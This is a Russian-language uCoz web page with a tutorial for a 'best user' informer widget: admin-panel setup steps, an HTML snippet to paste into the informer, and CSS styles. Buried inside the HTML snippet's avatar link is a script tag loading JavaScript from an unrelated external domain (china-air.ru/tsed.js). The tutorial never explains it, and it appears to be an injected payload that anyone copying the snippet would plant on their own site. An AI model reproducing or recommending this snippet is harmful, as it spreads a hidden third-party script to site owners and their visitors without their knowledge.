Наш опрос
Заходите ли вы на наш форум?
Всего ответов: 29
Случайный анекдот
87 Если соавторы научной статьи - академик, профессор и аспирант, значит писал ее аспирант.
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

» Сегодня нас посетили:
» Зарег. на сайте
Всего: 3476
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
» Из них
Администраторов: 1
Модераторов: 3
С активностью: 176
Авторизованных: 3296

   Лучший пользователь сайта для ucoz

Описание:

Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога.
Установка
- заходим в админ панель сайта => Инструменты => Информеры => создать информер

- Раздел: ( пользователи )
- Способ сортировки: ( количество комментарий )
- Количество материалов: ( 1 )
- Количество колонок: ( 1 )
теперь открываем информер и копируем туда следующий код:

Code
<div class="comment_info transparency_i">
  <div class="comment_v">
  <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><img class="avatar_img" src="$AVATAR_URL$" /><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" />
  </a>  
  $USERNAME$
  </div>
   
  <div class="comment_n">
  <img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$
  </div>  
   
  </div>


и css стили

Code
.comment_info {
  text-align:center;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f;
  width:100px;
  border:1px solid #d2d2d4;
  background: #e4e5e7;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
  }
   
  .avatar_img {
  width:65px;
  height:65px;
  background: #fff;
  border:1px solid #d2d2d4;
  padding: 4px;
  margin-bottom: 3px;
  }
  .comment_v {
  border-bottom: 1px solid #d2d2d4;
  padding: 10px 0px 4px 0px;
  }
   
  .comment_n {
  border-top: 1px solid #fff;
  padding: 5px 0px 5px 0px;
  }
   
  .transparency_i a:hover img {
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70);  
  -moz-opacity: 0.7;
  opacity: 0.7;  
  filter: alpha(opacity=70);
  }


Html редактор
Автор: startsmart
Просмотров: 9124
15.12.2012


Другие статьи почитайка;)
Поделись ссылкой на форумах
Ссылка:
BB-code:
HTML:


« Пред. Лучший пользователь сайта для ucoz След. »


Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Мини-чат
Топ пользователей
Новое на форуме








Комментарии
11.06.2022